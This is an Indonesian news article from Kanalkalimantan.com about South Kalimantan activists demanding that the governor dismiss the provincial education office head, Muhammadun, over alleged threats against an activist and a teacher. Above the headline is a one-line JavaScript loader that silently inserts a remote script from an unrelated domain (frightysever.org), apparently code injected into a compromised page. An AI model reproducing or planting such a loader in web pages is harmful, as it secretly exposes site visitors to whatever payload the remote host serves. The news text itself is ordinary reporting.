(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Aktivis Kalsel Desak Gubernur Kalsel Copot Madun dari Kadisdikbud

KANALKALIMANTAN.COM, BANJARBARU – Kasus yang menyeret Kepala Dinas Pendidikan dan Kebudayaan (Kadisdikbud) Provinsi Kalimantan Selatan (Kalsel) Muhammadun belum juga tuntas.

Setelah berani muncul di hadapan publik dalam sesi wawancara kepada media massa, Kadisdikbud Kalsel terus mendapat kecaman dari masyarakat, terutama di saluran-saluran lini media sosial.

Sebab beriringan dengan itu pula, Madun -biasa disapa- dihadapkan pada pelaporan kasus dugaan tindakan intimidasi dan pengancaman yang dilakukan kepada aktivis Kalsel Aliansyah.
Menerima perlakukan intimidasi dan pengancaman dari Madun, Aliansyah tidak tinggal diam.

Penandatangan petisi dari para Aktivis se Kalsel untuk pencopotan Muhammadun sebagai Kadisdikbud Kalsel. Foto: wanda

Para aktivis di Kalsel berkumpul menyuarakan kecaman terhadap Muhammadun.

Sebuah pertemuan digelar di Hotel Roditha Banjarbaru, dihadiri aktivis Kalsel, seperti Anang Rosadi Adenansi, Aliansyah, dan Badrul Ain Sanusi, Kamis (19/9/2024) kemarin.

Salah satu yang hadir, Badrul Ain Sanusi Al Afif, Ketua Parlemen Jalanan menyoroti posisi sikap Kadisdikbud yang semestisnya bisa menjadi teladan bagi dunia pendidikan malah bertindak tidak profesional.

“Kepala dinas pendidikan adalah pucuk dari dunia pendidikan. Jika tindakan tidak profesional ini dibiarkan, akan membawa dampak buruk bagi dinamika pendidikan di Banua. Gubernur harus segera mencopot Kadisdik untuk mengembalikan marwah dunia pendidikan,” ujar Badrul.

Selain itu, Badrul turut menyinggung kasus Amalia, tenaga pendidik yang turut diduga menerima ancaman terkait permasalahan ini.

Dirinya menekankan bahwa sekolah tempat Amalia mengajar tidak perlu takut, mengingat status sebagai sekolah swasta yang tidak berafiliasi langsung dengan Dinas Pendidikan dan Kebudayaan Provinsi Kalsel.

“Kami menuntut hak Amalia sebagai tenaga pendidik segera dikembalikan. Jika sekolah takut, ini menunjukkan ada kejanggalan. Gubernur harus tegas dan segera mencopot Madun dari posisinya,” tegas Badrul.

Sementara itu, Ketua Gerakan Jalan Lurus Kalsel, Anang Rosadi mengkritik keras perilaku yang dinilainya tidak pantas dari seorang pimpinan dinas, terlebih dia membawahi sektor pendidikan.

“Tidak sepantasnya seorang pimpinan bersikap layaknya preman dengan mengeluarkan ucapan-ucapan arogan, apalagi mengancam dengan ajakan duel kepada aktivis Kalsel. Ini sikap yang sangat tidak terpuji,” tegas Anang Rosadi.

Anang Rosadi mendesak Gubernur Kalsel H Sahbirin Noor untuk segera menindaklanjuti kasus yang bikin warga Kalsel dibikin gregetan.

Jika tidak ada tindakan tegas dari gubernur, Anang Rosadi mengusulkan perubahan panggilan bagi gubernur menjadi “Paman Madun” sebagai bentuk sindiran terhadap sikap yang dianggapnya pengecut.

Dalam kegiatan ini juga aktivis memberikan tenggat waktu tiga hari bagi Gubernur Kalsel untuk merespons tuntutan mereka. Jika tidak ada tindakan, mereka berencana menggelar aksi besar-besaran untuk mengawal kasus ini hingga tuntas.

Perkembangan terkait pertemuan ini terus dipantau, dengan banyak pihak berharap agar persoalan ini segera mendapat perhatian serius dan diselesaikan demi menjaga kondusifitas dunia pendidikan di Kalimantan Selatan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie